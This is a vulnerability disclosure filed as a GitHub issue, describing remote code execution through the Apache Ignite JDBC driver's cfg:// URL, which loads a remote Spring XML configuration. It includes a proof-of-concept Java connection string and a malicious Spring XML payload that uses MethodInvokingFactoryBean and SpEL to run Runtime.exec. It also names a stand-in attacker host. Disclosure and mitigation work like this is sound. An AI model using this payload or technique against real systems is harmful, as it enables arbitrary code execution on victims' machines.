Fushuling opened a new issue, #12832:
URL: https://github.com/apache/ignite/issues/12832

   ### Summary
   
   **Title**: Apache Ignite JDBC `cfg://` configuration URL loads remote Spring 
XML, leading to arbitrary code execution  
   **Component**: Apache Ignite JDBC driver (`IgniteJdbcDriver` / 
`JdbcConnection`)  
   **Version Tested**: 2.17.0 (from `ignite.properties` and decompiled classes) 
 
   **Impact**: Remote Code Execution (RCE) in the JVM process that uses the 
JDBC driver  
   **Severity**: Critical  
   
   The Apache Ignite JDBC driver supports a special `jdbc:ignite:cfg://` URL 
form. The substring after `cfg://` is interpreted as a Spring XML configuration 
location and passed to Spring for full context initialization. If an attacker 
can control the JDBC URL, they can point it at an attacker-controlled remote 
Spring XML (e.g. `http://attacker/evil.xml`) and achieve arbitrary code 
execution in the victim JVM when the JDBC connection is established.
   
   I tried reporting the vulnerability via email at [email protected], 
but I haven't received a response almost a month after sending the email, so I 
have no choice but to report it as an issue.
   
   ### Affected Product and Environment
   
   - **Product**: Apache Ignite  
   - **Module**: JDBC driver  
     - `org.apache.ignite.IgniteJdbcDriver`  
     - `org.apache.ignite.internal.jdbc2.JdbcConnection`  
   - **Version**: 2.17.0  
   - **Environment** (tested):  
     - JDK 11 
     - Windows, but the issue is not OS-specific as long as HTTP(S) URLs are 
reachable  
   
   The behavior likely affects other Ignite 2.x versions that implement the 
same `cfg://` handling.
   
   ---
   
   ### Vulnerability Description
   
   #### `cfg://` URL handling
   
   The Ignite JDBC driver accepts URLs starting with `jdbc:ignite:cfg://`:
   
   
```12:61:75:d:\BaiduNetdiskDownload\ignite-core-2.17.0\code\org\apache\ignite\IgniteJdbcDriver.java
   public Connection connect(String url, Properties props) throws SQLException {
       if (!this.acceptsURL(url)) {
           return null;
       }
       if (!this.parseUrl(url, props)) {
           throw new SQLException("URL is invalid: " + url);
       }
       return new JdbcConnection(url, props);
   }
   
   public boolean acceptsURL(String url) throws SQLException {
       return url.startsWith(CFG_URL_PREFIX); // CFG_URL_PREFIX = 
"jdbc:ignite:cfg://"
   }
   ```
   
   It then parses the configuration part and stores it into the 
`ignite.jdbc.cfg` property:
   
   
```12:105:125:d:\BaiduNetdiskDownload\ignite-core-2.17.0\code\org\apache\ignite\IgniteJdbcDriver.java
   private boolean parseUrl(String url, Properties props) {
       if (url == null) {
           return false;
       }
       if (url.startsWith(CFG_URL_PREFIX) && url.length() >= 
CFG_URL_PREFIX.length()) {
           return this.parseJdbcConfigUrl(url, props);
       }
       return false;
   }
   
   private boolean parseJdbcConfigUrl(String url, Properties props) {
       String[] parts = (url = 
url.substring(CFG_URL_PREFIX.length())).split("@");
       if (parts.length > 2) {
           return false;
       }
       if (parts.length == 2 && !this.parseParameters(parts[0], ":", props)) {
           return false;
       }
       props.setProperty(PROP_CFG, parts[parts.length - 1]); // PROP_CFG = 
"ignite.jdbc.cfg"
       return true;
   }
   ```
   
   Examples:
   
   - `jdbc:ignite:cfg://D:/config.xml` → `ignite.jdbc.cfg = "D:/config.xml"`  
   - `jdbc:ignite:cfg://http://127.0.0.1:50025/evil.txt` → `ignite.jdbc.cfg = 
"http://127.0.0.1:50025/evil.txt"`  
   
   In particular, if the substring after `cfg://` is a syntactically valid URL 
(e.g. `http://...`, `https://...`), it will be treated directly as a URL, not 
as a local filesystem path.
   
   #### Loading the configuration via Spring
   
   `JdbcConnection` uses the `ignite.jdbc.cfg` value to load a Spring 
configuration and start an Ignite node:
   
   
```12:102:151:d:\BaiduNetdiskDownload\ignite-core-2.17.0\code\org\apache\ignite\internal\jdbc2\JdbcConnection.java
   public JdbcConnection(String url, Properties props) throws SQLException {
       ...
       String cfgUrl = props.getProperty("ignite.jdbc.cfg");
       this.cfg = cfgUrl == null || cfgUrl.isEmpty() ? NULL : cfgUrl; // NULL = 
"null"
       this.ignite = this.getIgnite(this.cfg);
       ...
   }
   
   private Ignite getIgnite(String cfgUrl) throws IgniteCheckedException {
       while (true) {
           IgniteNodeFuture fut;
   
           if ((fut = (IgniteNodeFuture)NODES.get(this.cfg)) == null) {
               fut = new IgniteNodeFuture();
               IgniteNodeFuture old = NODES.putIfAbsent(this.cfg, fut);
               if (old != null) {
                   fut = old;
               } else {
                   try {
                       IgniteBiTuple<IgniteConfiguration, ? extends 
GridSpringResourceContext> cfgAndCtx;
                       String jdbcName = "ignite-jdbc-driver-" + 
UUID.randomUUID().toString();
   
                       if (NULL.equals(this.cfg)) {
                           // default config case (not used here)
                           ...
                       } else {
                           cfgAndCtx = this.loadConfiguration(cfgUrl, jdbcName);
                       }
   
                       fut.onDone(IgnitionEx.start(cfgAndCtx.get1(), 
cfgAndCtx.get2()));
                   }
                   catch (IgniteException e) {
                       fut.onDone(e);
                   }
   
                   return (Ignite)fut.get();
               }
           }
           ...
       }
   }
   
   private IgniteBiTuple<IgniteConfiguration, ? extends 
GridSpringResourceContext> loadConfiguration(String cfgUrl, String jdbcName) {
       try {
           IgniteBiTuple<Collection<IgniteConfiguration>, ? extends 
GridSpringResourceContext> cfgMap =
               IgnitionEx.loadConfigurations(cfgUrl);
           ...
       }
       catch (IgniteCheckedException e) {
           throw new IgniteException(e);
       }
   }
   ```
   
   `IgnitionEx.loadConfigurations(String springCfgPath)` resolves this string 
to a `URL` and passes it to Spring:
   
   
```12:338:341:d:\BaiduNetdiskDownload\ignite-core-2.17.0\code\org\apache\ignite\internal\IgnitionEx.java
   public static IgniteBiTuple<Collection<IgniteConfiguration>, ? extends 
GridSpringResourceContext>
       loadConfigurations(String springCfgPath) throws IgniteCheckedException {
       A.notNull(springCfgPath, "springCfgPath");
       return 
IgnitionEx.loadConfigurations(IgniteUtils.resolveSpringUrl(springCfgPath));
   }
   ```
   
   `IgniteUtils.resolveSpringUrl` first attempts to construct a `java.net.URL` 
from the string:
   
   
```12:2224:2240:d:\BaiduNetdiskDownload\ignite-core-2.17.0\code\org\apache\ignite\internal\util\IgniteUtils.java
   public static URL resolveSpringUrl(String springCfgPath) throws 
IgniteCheckedException {
       URL url;
       A.notNull(springCfgPath, "springCfgPath");
       try {
           url = new URL(springCfgPath);
       }
       catch (MalformedURLException e) {
           url = U.resolveIgniteUrl(springCfgPath);
           if (url == null) {
               url = IgniteUtils.resolveInClasspath(springCfgPath);
           }
           if (url != null) {
               // resolved from local FS or classpath
           } else {
               throw new IgniteCheckedException("Spring XML configuration path 
is invalid: " + springCfgPath + "...", e);
           }
       }
       return url;
   }
   ```
   
   For a string like `http://127.0.0.1:50025/evil.txt`:
   
   - `new URL("http://127.0.0.1:50025/evil.txt";)` succeeds  
   - The resulting HTTP URL is returned and passed into Spring configuration 
loading (`IgnitionEx.loadConfigurations(URL)` and 
`IgniteSpringHelper.loadConfigurations(...)`).  
   
   This means that **controlling only the JDBC URL is sufficient** to make the 
victim process fetch and load a remote Spring XML configuration over HTTP(S).
   
   Spring then parses the XML and instantiates all defined beans, including 
dangerous constructs such as `MethodInvokingFactoryBean` or SpEL expressions 
that can trigger arbitrary method calls.
   
   ---
   
   ### Proof of Concept (PoC)
   
   #### PoC Java code (using remote HTTP URL)
   
   ```java
   package com.yulate;
   
   import java.sql.DriverManager;
   import java.sql.SQLException;
   
   public class test {
       public static void main(String[] args) throws SQLException {
           String url = "jdbc:ignite:cfg://http://127.0.0.1:50025/evil.txt";;
           DriverManager.getConnection(url);
       }
   }
   ```
   
   In this PoC:
   
   - `127.0.0.1:50025` is a local HTTP server controlled by the attacker.  
   - `/evil.txt` serves a malicious Spring XML configuration.
   
   #### Malicious Spring XML served at `http://127.0.0.1:50025/evil.txt`
   
   Example payload (uses `MethodInvokingFactoryBean` and SpEL to execute `calc` 
on Windows):
   
   ```xml
   <?xml version="1.0" encoding="UTF-8"?>
   <beans xmlns="http://www.springframework.org/schema/beans";
          xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance";
          xmlns:util="http://www.springframework.org/schema/util";
          xsi:schemaLocation="
              http://www.springframework.org/schema/beans
              http://www.springframework.org/schema/beans/spring-beans.xsd
              http://www.springframework.org/schema/util
              http://www.springframework.org/schema/util/spring-util.xsd";>
   
       <bean id="spelBean" 
class="org.springframework.beans.factory.config.MethodInvokingFactoryBean">
           <property name="targetClass" value="java.lang.Runtime"/>
           <property name="targetMethod" value="getRuntime"/>
           <property name="arguments">
               <list>
                   
<value>#{T(java.lang.Runtime).getRuntime().exec('calc')}</value>
               </list>
           </property>
       </bean>
   </beans>
   ```
   
   #### Execution flow
   
   1. The victim application calls 
`DriverManager.getConnection("jdbc:ignite:cfg://http://127.0.0.1:50025/evil.txt";)`.
  
   2. `IgniteJdbcDriver` accepts the URL and sets `ignite.jdbc.cfg = 
"http://127.0.0.1:50025/evil.txt"`.  
   3. `JdbcConnection` calls `getIgnite("http://127.0.0.1:50025/evil.txt";)`.  
   4. `loadConfiguration` calls 
`IgnitionEx.loadConfigurations("http://127.0.0.1:50025/evil.txt";)`.  
   5. `IgniteUtils.resolveSpringUrl` creates a `URL` pointing to the attacker’s 
HTTP server.  
   6. Spring loads the XML from this remote URL and instantiates 
`MethodInvokingFactoryBean`.  
   7. `MethodInvokingFactoryBean` evaluates the SpEL expression and calls:
      - `Runtime.getRuntime().exec("calc")`  
   8. The victim JVM executes the attacker-controlled command. On Windows, this 
opens the Calculator. Real-world payloads could be arbitrary OS commands or 
further malware.
   
   Critically, in this scenario **the attacker only needs control over the JDBC 
URL and the ability to serve malicious XML** at the referenced remote URL. They 
do **not** need local filesystem write access on the victim host.
   
   <img width="1590" height="1245" alt="Image" 
src="https://github.com/user-attachments/assets/7787007f-5270-4836-ab9f-d6807ce00b2d";
 />
   
   ### Impact
   
   - **Impact type**: Arbitrary code execution in the victim JVM.  
   - **Privileges**: Code runs with the privileges of the process using Ignite 
JDBC.  
   - **Attack surface**:
     - Any application that:
       - Uses Apache Ignite JDBC with `jdbc:ignite:cfg://...` URLs, and  
       - Allows an attacker (directly or indirectly) to control or influence 
the JDBC URL value.  
   
   Because the configuration location can be a remote HTTP(S) URL, the attacker 
can host the malicious Spring XML on their own server and does not need 
file-level access on the victim machine.
   
   ---
   
   ### Root Cause Analysis
   
   The root cause is the combination of:
   
   - **Unrestricted interpretation of the `cfg://` tail as a Spring 
configuration location**:
     - The substring after `cfg://` is accepted as-is and passed down to 
`IgniteUtils.resolveSpringUrl`.  
     - If it is a valid URL (e.g., `http://...`), it is used directly as a 
remote configuration source.  
   - **Full Spring context loading without restrictions**:
     - Ignite defers to Spring to parse and instantiate all beans from the 
configuration file, including arbitrary user-specified classes and factory 
beans.  
     - There is no whitelist of allowed bean types, no sandboxing, and no 
dedicated “safe” configuration format; a full Spring application context is 
effectively exposed via JDBC configuration.  
   
   As a result, **controlling the JDBC URL alone is enough** to make the victim 
application retrieve and execute arbitrary attacker-controlled Spring 
configurations from remote servers.
   
   ---
   
   ### Preconditions and Exploitability
   
   To exploit this vulnerability, an attacker needs:
   
   - **Control over the JDBC URL** (or some configuration mechanism that 
determines the URL used by the application).  
   - **Ability to host a malicious Spring XML file** at a URL reachable by the 
victim JVM (e.g. on `http://attacker.example/evil.xml`).  
   
   No direct filesystem access on the victim host is required if a remote URL 
is used. This significantly lowers the bar for exploitation in scenarios where:
   
   - Connection strings are user-supplied or loosely validated.  
   - Configuration files containing JDBC URLs can be modified by a 
lower-privileged user or another service.  
   - Multi-tenant or plugin-like architectures where tenants/modules can 
specify their own JDBC URLs.
   
   ---
   
   ### Recommendations / Mitigations
   
   **Short-term mitigations:**
   
   - **Avoid using `jdbc:ignite:cfg://` URLs with untrusted input**. Treat the 
configuration part as highly sensitive.  
   - **Do not allow users or untrusted components to control the JDBC URL** 
used by Ignite JDBC.  
   - Use strict validation on configuration sources to ensure JDBC URLs are 
hard-coded or come only from trusted administrators.  
   - Block or restrict outbound HTTP(S) from the application where possible, to 
reduce remote configuration loading opportunities.
   
   **Long-term / code-level mitigations for Ignite:**
   
   - **Deprecate or disable the `cfg://` scheme by default** in the JDBC 
driver, especially for remote URLs.  
   - If configuration URLs must be supported:
     - Restrict accepted schemes (e.g. deny `http` / `https` by default).  
     - Restrict loading to whitelisted hosts or paths controlled by 
administrators.  
     - Provide configuration flags to completely disable remote URL-based 
configuration loading in production.  
   - Consider introducing a safer, restricted configuration mechanism for JDBC 
that does not rely on full Spring context loading, or enforce a strict 
whitelist of allowed bean classes and disallow dangerous constructs 
(`MethodInvokingFactoryBean`, arbitrary SpEL, etc.).


-- 
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.

To unsubscribe, e-mail: [email protected]

For queries about this service, please contact Infrastructure at:
[email protected]

Reply via email to